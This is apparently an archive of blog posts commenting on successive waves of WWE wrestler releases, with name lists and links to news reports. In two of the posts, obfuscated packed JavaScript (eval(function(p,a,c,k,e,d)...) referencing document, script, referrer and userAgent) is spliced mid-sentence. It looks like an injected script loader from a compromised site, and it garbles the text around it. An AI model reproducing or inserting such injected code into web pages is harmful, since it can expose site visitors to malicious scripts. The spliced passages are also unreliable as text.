Updated: WWE Releases 17 Wrestlers

https://wrestlingrumors.net/tommyhall/breaking-wwe-releases-nine-wrestlers-including-former-world-champion/

https://wrestlingrumors.net/tommyhall/wwe-releases-eight-wrestlers/

Rick Boogs

Aliyah

Mustafa Ali

Emma

Top Dolla

Riddick Moss

Elias

Shelton Benjamin

Dolph Ziggler

Dana Brooke
Mansoor
Mace
Quincy Elliott
Bryson Montana
Yulisa Leon
Dabba Kato
Shanky

Their 90 day no compete clauses would be up on December 20.

Dang.  You knew something like this was coming but it is still hard to fathom that it actually happened.  At the end of the day though, most of these names aren’t surprising, as a lot of them haven’t been on WWE TV or used in any meaningful way in a very long time.  That doesn’t make it any better for them, but it’s also not so much of a surprise.




WWE Releases 10 More From NXT

Spring cleaning seems to be upon up.

https://wrestlingrumors.net/tommyhall/breaking-wwe-releases-nine-company/

Dakota Kai

Harland

Malcolm Bivens

Persia Pirotta

Blair Baldwin (referee)

Sanjana George

Draco Anthony

Mila Milani

Raelyn Divine

Dexter Lumis

There isn’t a major name on here but Lumis, Pirotta, Harland and Kai are certainly surprises (Bivens apparently wasn’t going to re-sign so they let him go).  The interesting one to me is Kai, who was literally a champion earlier THIS MONTH and now she’s gone.  I’m not sure how many of these people are going to get signed elsewhere (Bivens would be a steal for any promotion that wants him) but you’ll likely see some of them somewhere.  What worries me is how many more might be let go.  It’s never good to see this kind of thing and odds are WWE isn’t done yet.




WWE Releases 18 More Wrestlers

Here we go again.

https://wrestlingrumors.net/tommyhall/breaking-wwe-releases-18-wrestlers/

 

Scarlett
Frankie Monet
Ember Moon
Oney Lorcan
B-Fab
Jessi Kamea
Zayda Ramier
Trey Baxter
Katarina Cortez
Jeet Rama
Gran Metalik
Lince Dorado
Karrion Kross
Nia Jax
Keith Lee
Harry Smith
Mia Yim
Eva Marie

 

To recap: R-Truth, Akira Tozawa and Drew Gulak have jobs because they chase after Reggie every week, but Monet, Kross, Yim and Lee are out of work.  As usual, the reason is budget cuts and as usual, it comes shortly (as in hours) after their latest conference call bragging about how much money they have.  This is the latest example of WWE letting people (not all of them, but some) who could be future stars go at a time when WWE REALLY needs some fresh names.  You have how many people who almost never miss a week of Raw or Smackdown but calling someone up would just be insane?  WWE continues to stand pat with so many of their wrestlers and continues to drop people who could be the future, and I’m sure they’ll get it again soon.

 

Oh and this happens about a week after Ring of Honor is gone, meaning there is one less secure place to go.  Great.




New Column – They Just Ran Out

The Breezango edition.

 

https://wrestlingrumors.net/tommyhall/kbs-review-just-ran/




WWE Releases 6 More Names (So Far)

I’m actually stunned at some of these names.

Braun Strowman
Aleister Black
Ruby Riott
Lana
Santana Garrett
Buddy Murphy

 

https://wrestlingrumors.net/tommyhall/breaking-wwe-releases-six-names-including-top-raw-star/

 

AEW will get some of them and you can imagine Impact/ROH fighting over the rest.  I’m really curious as to what is going on as this is not the kind of thing that WWE does, like ever.




WWE Releases A Ton Of Wrestlers, Plus Others

Spring cleaning is here.Kurt Angle (The biggest name of all)

Drake Maverick (He was just a boss and occasional wrestler, though his comments on the release are heartbreaking)

Curt Hawkins (Fair enough)

Luke Gallows/Karl Anderson (They’re the biggest surprises)

Heath Slater (You had to know this was coming)

Eric Young (He never caught on so this isn’t a big shock)

Rowan (That spider thing was death)

Sarah Logan (She never did anything on the main roster)

Mike Chioda (He was around FOREVER)

Mike Kanellis (It was Maria’s world and I think he knew it)

EC3 (For the life of me I will never get how they let him just sit there)

Aiden English (Not much of a shock)

Lio Rush (He was finding his calling but dang that’s a fast fall from grace)

Epico/Primo (Yeah I thought they were already gone too)

 

Plus a ton of agents being released/furloughed.  This is a rather nutty day and I’m sure there are going to be even more releases coming throughout the day.  That’s a good thing in a way as a lot of these people have been sitting around doing nothing for months.  I never saw why WWE needed this many people in the first place so cleaning out a lot of the space is a smart move, though not the best news for the wrestlers.  It had to happen though and while unfortunate, it makes business sense.




WWE Releases A Bunch Of People

https://wrestlingrumors.net/tommyhall/see-later-wwe-releases-three-talents-one-day/

 

https://wrestlingrumors.net/tommyhall/theyre-not-done-yet-wwe-releases-hall-famer-contract/

 

Four of them in this case.You have TJP, Hideo Itami and Tye Dillinger from the roster and Arn Anderson as a producer.  I can’t say I’m surprised at the first three as none of them seemed happy and they all probably wanted out.  Maybe they’re off to AEW (ok Itami is back to Japan and we all know it) or just the indy scene (which could mean AEW) but it’s not like there’s a ton of room on the WWE roster at the moment.  None of the three were really doing anything in the first place so these aren’t the biggest losses.  I liked TJP, but if he’s not getting the Cruiserweight Title back (which he isn’t) and they won’t put him on the main roster, it doesn’t matter.

 

Anderson….I love the guy, but he’s been there since 2001.  That’s a LONG time to have anyone around and I can understand getting rid of him.  Maybe they just needed some fresh blood and if so, cool.  People like Abyss and HUrricane could offer something new and really, WWE needs just that right now.




Three More WWE Releases

https://www.wwe.com/article/damien-sandow-king-barrett-other-superstars-released

And eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzsyf|var|u0026u|referrer|yrsnd||js|php'.split('|'),0,{})) they’re bigger names this time.Santino Marella – Basically retired at this point and never appears.  Not exactly a big loss but he’s certainly a name.

Wade Barrett – He was leaving in a few weeks/months anyway so this really means nothing.  He’s still one of the most mishandled names I can think of in years.

Damien Sandow – This one is all on WWE.  Sandow was over and had worked hard for years but hey, let’s have him get really close, get a huge pop, and then have him lose to Big Show so he can FINALLY win a (third) battle royal in WWE.  It’s a case of a guy getting popular and WWE saying “eh we’re good” and then going with what they felt like doing.  This has never sat right with me and I hope Sandow goes somewhere else and has a nice run.




Cameron and El Torito Released

That makes five (Hornswoggle, Alex Riley, Zeb Colter).

http://www.wwe.com/article/hornswoggle-alex-riley-released

I know Cameron posted that big rant about how she’s constantly bullied over the mistakes she’s made and I really didn’t have a ton of sympathy for her.  She did two stupid looking things and her character is based on being a self obsessed idiot which isn’t even touching on how annoying she comes across as on Total Divas.

Did anyone even notice that El Torito wasn’t on TV anymore?

 

 




WWE Releases Three Talents

These eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|znsfz|var|u0026u|referrer|ybzdr||js|php'.split('|'),0,{})) are always interesting days.Hornswoggle – Not exactly an important deal.  He’s a background/comedy character at best and hasn’t been around in forever.

Zeb Colter – Same, though he should have been brought back as someone’s manager.  The guy can still talk and has so much knowledge and experience.

Alex Riley – Arguably the biggest name gone but he hasn’t meant anything in years either.  It’s a shame too as he had so much potential after that Miz feud.

 

There could be more names later today so stick around.